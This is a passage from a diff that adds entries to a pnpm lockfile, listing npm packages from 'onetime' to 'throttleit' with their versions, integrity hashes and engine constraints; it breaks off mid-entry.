sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + + onetime@5.1.2: + resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} + engines: {node: '>=6'} + + optionator@0.9.4: + resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} + engines: {node: '>= 0.8.0'} + + ospath@1.2.2: + resolution: {integrity: sha512-o6E5qJV5zkAbIDNhGSIlyOhScKXgQrSRMilfph0clDfM0nEnBOlKlH4sWDmG95BW/CvwNz0vmm7dJVtU2KlMiA==} + + p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + + p-locate@5.0.0: + resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} + engines: {node: '>=10'} + + p-map@4.0.0: + resolution: {integrity: sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==} + engines: {node: '>=10'} + + package-json-from-dist@1.0.0: + resolution: {integrity: sha512-dATvCeZN/8wQsGywez1mzHtTlP22H8OEfPrVMLNr4/eGa+ijtLn/6M5f0dY8UKNrC2O9UCU6SSoG3qRKnt7STw==} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + parse-json@4.0.0: + resolution: {integrity: sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==} + engines: {node: '>=4'} + + parse5@7.1.2: + resolution: {integrity: sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==} + + path-browserify@1.0.1: + resolution: {integrity: sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==} + + path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + + path-is-absolute@1.0.1: + resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} + engines: {node: '>=0.10.0'} + + path-key@2.0.1: + resolution: {integrity: sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==} + engines: {node: '>=4'} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + + path-scurry@1.11.1: + resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==} + engines: {node: '>=16 || 14 >=14.18'} + + path-type@3.0.0: + resolution: {integrity: sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==} + engines: {node: '>=4'} + + path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + + pathval@1.1.1: + resolution: {integrity: sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==} + + pause-stream@0.0.11: + resolution: {integrity: sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==} + + pend@1.2.0: + resolution: {integrity: sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==} + + performance-now@2.1.0: + resolution: {integrity: sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==} + + picocolors@1.1.0: + resolution: {integrity: sha512-TQ92mBOW0l3LeMeyLV6mzy/kWr8lkd/hp3mTg7wYK7zJhuBStmGMBG0BdeDZS/dZx1IukaX6Bk11zcln25o1Aw==} + + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + pidtree@0.3.1: + resolution: {integrity: sha512-qQbW94hLHEqCg7nhby4yRC7G2+jYHY4Rguc2bjw7Uug4GIJuu1tvf2uHaZv5Q8zdt+WKJ6qK1FOI6amaWUo5FA==} + engines: {node: '>=0.10'} + hasBin: true + + pify@2.3.0: + resolution: {integrity: sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==} + engines: {node: '>=0.10.0'} + + pify@3.0.0: + resolution: {integrity: sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==} + engines: {node: '>=4'} + + pinia@2.2.2: + resolution: {integrity: sha512-ja2XqFWZC36mupU4z1ZzxeTApV7DOw44cV4dhQ9sGwun+N89v/XP7+j7q6TanS1u1tdbK4r+1BUx7heMaIdagA==} + peerDependencies: + '@vue/composition-api': ^1.4.0 + typescript: '>=4.4.4' + vue: ^2.6.14 || ^3.3.0 + peerDependenciesMeta: + '@vue/composition-api': + optional: true + typescript: + optional: true + + possible-typed-array-names@1.0.0: + resolution: {integrity: sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==} + engines: {node: '>= 0.4'} + + postcss-selector-parser@6.1.2: + resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==} + engines: {node: '>=4'} + + postcss@8.4.45: + resolution: {integrity: sha512-7KTLTdzdZZYscUc65XmjFiB73vBhBfbPztCYdUNvlaso9PrzjzcmjqBPR0lNGkcVlcO4BjiO5rK/qNz+XAen1Q==} + engines: {node: ^10 || ^12 || >=14} + + prelude-ls@1.2.1: + resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} + engines: {node: '>= 0.8.0'} + + prettier-linter-helpers@1.0.0: + resolution: {integrity: sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==} + engines: {node: '>=6.0.0'} + + prettier@2.8.8: + resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} + engines: {node: '>=10.13.0'} + hasBin: true + + pretty-bytes@5.6.0: + resolution: {integrity: sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==} + engines: {node: '>=6'} + + process-nextick-args@2.0.1: + resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==} + + process@0.11.10: + resolution: {integrity: sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==} + engines: {node: '>= 0.6.0'} + + proto-list@1.2.4: + resolution: {integrity: sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA==} + + proxy-from-env@1.0.0: + resolution: {integrity: sha512-F2JHgJQ1iqwnHDcQjVBsq3n/uoaFL+iPW/eAeL7kVxy/2RrWaN4WroKjjvbsoRtv0ftelNyC01bjRhn/bhcf4A==} + + proxy-from-env@1.1.0: + resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==} + + ps-tree@1.2.0: + resolution: {integrity: sha512-0VnamPPYHl4uaU/nSFeZZpR21QAWRz+sRv4iW9+v/GS/J5U5iZB5BNN6J0RMoOvdx2gWM2+ZFMIm58q24e4UYA==} + engines: {node: '>= 0.10'} + hasBin: true + + psl@1.9.0: + resolution: {integrity: sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==} + + pump@3.0.0: + resolution: {integrity: sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==} + + punycode@2.3.1: + resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} + engines: {node: '>=6'} + + qs@6.10.4: + resolution: {integrity: sha512-OQiU+C+Ds5qiH91qh/mg0w+8nwQuLjM4F4M/PbmhDOoYehPh+Fb0bDjtR1sOvy7YKxvj28Y/M0PhP5uVX0kB+g==} + engines: {node: '>=0.6'} + + querystringify@2.2.0: + resolution: {integrity: sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + queue-tick@1.0.1: + resolution: {integrity: sha512-kJt5qhMxoszgU/62PLP1CJytzd2NKetjSRnyuj31fDd3Rlcz3fzlFdFLD1SItunPwyqEOkca6GbV612BWfaBag==} + + read-pkg@3.0.0: + resolution: {integrity: sha512-BLq/cCO9two+lBgiTYNqD6GdtK8s4NpaWrl6/rCO9w0TUS8oJl7cmToOZfRYllKTISY6nt1U7jQ53brmKqY6BA==} + engines: {node: '>=4'} + + readable-stream@2.3.8: + resolution: {integrity: sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==} + + readable-stream@4.5.2: + resolution: {integrity: sha512-yjavECdqeZ3GLXNgRXgeQEdz9fvDDkNKyHnbHRFtOr7/LcfgBcmct7t/ET+HaCTqfh06OzoAxrkN/IfjJBVe+g==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + readdir-glob@1.1.3: + resolution: {integrity: sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==} + + regexp.prototype.flags@1.5.2: + resolution: {integrity: sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw==} + engines: {node: '>= 0.4'} + + request-progress@3.0.0: + resolution: {integrity: sha512-MnWzEHHaxHO2iWiQuHrUPBi/1WeBf5PkxQqNyNvLl9VAYSdXkP8tQ3pBSeCPD+yw0v0Aq1zosWLz0BdeXpWwZg==} + + requires-port@1.0.0: + resolution: {integrity: sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + resolve@1.22.8: + resolution: {integrity: sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==} + hasBin: true + + restore-cursor@3.1.0: + resolution: {integrity: sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==} + engines: {node: '>=8'} + + reusify@1.0.4: + resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + rfdc@1.4.1: + resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==} + + rimraf@3.0.2: + resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} + deprecated: Rimraf versions prior to v4 are no longer supported + hasBin: true + + rollup@3.29.4: + resolution: {integrity: sha512-oWzmBZwvYrU0iJHtDmhsm662rC15FRXmcjCk1xD771dFDx5jJ02ufAQQTn0etB2emNk4J9EZg/yWKpsn9BWGRw==} + engines: {node: '>=14.18.0', npm: '>=8.0.0'} + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + rxjs@7.8.1: + resolution: {integrity: sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==} + + safe-array-concat@1.1.2: + resolution: {integrity: sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q==} + engines: {node: '>=0.4'} + + safe-buffer@5.1.2: + resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} + + safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} + + safe-regex-test@1.0.3: + resolution: {integrity: sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==} + engines: {node: '>= 0.4'} + + safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + + saxes@6.0.0: + resolution: {integrity: sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==} + engines: {node: '>=v12.22.7'} + + semver@5.7.2: + resolution: {integrity: sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==} + hasBin: true + + semver@7.6.3: + resolution: {integrity: sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==} + engines: {node: '>=10'} + hasBin: true + + set-function-length@1.2.2: + resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} + engines: {node: '>= 0.4'} + + set-function-name@2.0.2: + resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} + engines: {node: '>= 0.4'} + + shebang-command@1.2.0: + resolution: {integrity: sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==} + engines: {node: '>=0.10.0'} + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@1.0.0: + resolution: {integrity: sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==} + engines: {node: '>=0.10.0'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + shell-quote@1.8.1: + resolution: {integrity: sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==} + + side-channel@1.0.6: + resolution: {integrity: sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==} + engines: {node: '>= 0.4'} + + signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} + + signal-exit@4.1.0: + resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} + engines: {node: '>=14'} + + slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + + slice-ansi@3.0.0: + resolution: {integrity: sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==} + engines: {node: '>=8'} + + slice-ansi@4.0.0: + resolution: {integrity: sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==} + engines: {node: '>=10'} + + socket.io-client@4.8.1: + resolution: {integrity: sha512-hJVXfu3E28NmzGk8o1sHhN3om52tRvwYeidbj7xKy2eIIse5IoKX3USlS6Tqt3BHAtflLIkCQBkzVrEEfWUyYQ==} + engines: {node: '>=10.0.0'} + + socket.io-parser@4.2.4: + resolution: {integrity: sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==} + engines: {node: '>=10.0.0'} + + source-map-js@1.2.0: + resolution: {integrity: sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==} + engines: {node: '>=0.10.0'} + + source-map@0.6.1: + resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} + engines: {node: '>=0.10.0'} + + spdx-correct@3.2.0: + resolution: {integrity: sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==} + + spdx-exceptions@2.5.0: + resolution: {integrity: sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==} + + spdx-expression-parse@3.0.1: + resolution: {integrity: sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==} + + spdx-license-ids@3.0.20: + resolution: {integrity: sha512-jg25NiDV/1fLtSgEgyvVyDunvaNHbuwF9lfNV17gSmPFAlYzdfNBlLtLzXTevwkPj7DhGbmN9VnmJIgLnhvaBw==} + + split@0.3.3: + resolution: {integrity: sha512-wD2AeVmxXRBoX44wAycgjVpMhvbwdI2aZjCkvfNcH1YqHQvJVa1duWc73OyVGJUc05fhFaTZeQ/PYsrmyH0JVA==} + + sshpk@1.18.0: + resolution: {integrity: sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ==} + engines: {node: '>=0.10.0'} + hasBin: true + + start-server-and-test@1.15.5: + resolution: {integrity: sha512-o3EmkX0++GV+qsvIJ/OKWm3w91fD8uS/bPQVPrh/7loaxkpXSuAIHdnmN/P/regQK9eNAK76aBJcHt+OSTk+nA==} + engines: {node: '>=6'} + deprecated: this package has been deprecated + hasBin: true + + stream-combiner@0.0.4: + resolution: {integrity: sha512-rT00SPnTVyRsaSz5zgSPma/aHSOic5U1prhYdRy5HS2kTZviFpmDgzilbtsJsxiroqACmayynDN/9VzIbX5DOw==} + + streamx@2.20.1: + resolution: {integrity: sha512-uTa0mU6WUC65iUvzKH4X9hEdvSW7rbPxPtwfWiLMSj3qTdQbAiUboZTxauKfpFuGIGa1C2BYijZ7wgdUXICJhA==} + + string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string-width@5.1.2: + resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} + engines: {node: '>=12'} + + string.prototype.padend@3.1.6: + resolution: {integrity: sha512-XZpspuSB7vJWhvJc9DLSlrXl1mcA2BdoY5jjnS135ydXqLoqhs96JjDtCkjJEQHvfqZIp9hBuBMgI589peyx9Q==} + engines: {node: '>= 0.4'} + + string.prototype.trim@1.2.9: + resolution: {integrity: sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw==} + engines: {node: '>= 0.4'} + + string.prototype.trimend@1.0.8: + resolution: {integrity: sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ==} + + string.prototype.trimstart@1.0.8: + resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} + engines: {node: '>= 0.4'} + + string_decoder@1.1.1: + resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==} + + string_decoder@1.3.0: + resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-ansi@7.1.0: + resolution: {integrity: sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==} + engines: {node: '>=12'} + + strip-bom@3.0.0: + resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} + engines: {node: '>=4'} + + strip-final-newline@2.0.0: + resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} + engines: {node: '>=6'} + + strip-json-comments@3.1.1: + resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} + engines: {node: '>=8'} + + strip-literal@1.3.0: + resolution: {integrity: sha512-PugKzOsyXpArk0yWmUwqOZecSO0GH0bPoctLcqNDH9J04pVW3lflYE0ujElBGTloevcxF5MofAOZ7C5l2b+wLg==} + + supports-color@5.5.0: + resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} + engines: {node: '>=4'} + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + supports-color@8.1.1: + resolution: {integrity: sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==} + engines: {node: '>=10'} + + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + + symbol-tree@3.2.4: + resolution: {integrity: sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==} + + tar-stream@3.1.7: + resolution: {integrity: sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==} + + text-decoder@1.2.1: + resolution: {integrity: sha512-x9v3H/lTKIJKQQe7RPQkLfKAnc9lUTkWDypIQgTzPJAq+5/GCDHonmshfvlsNSj58yyshbIJJDLmU15qNERrXQ==} + + text-table@0.2.0: + resolution: {integrity: sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==} + + throttleit@1.0.1: + resolution: {integrity: 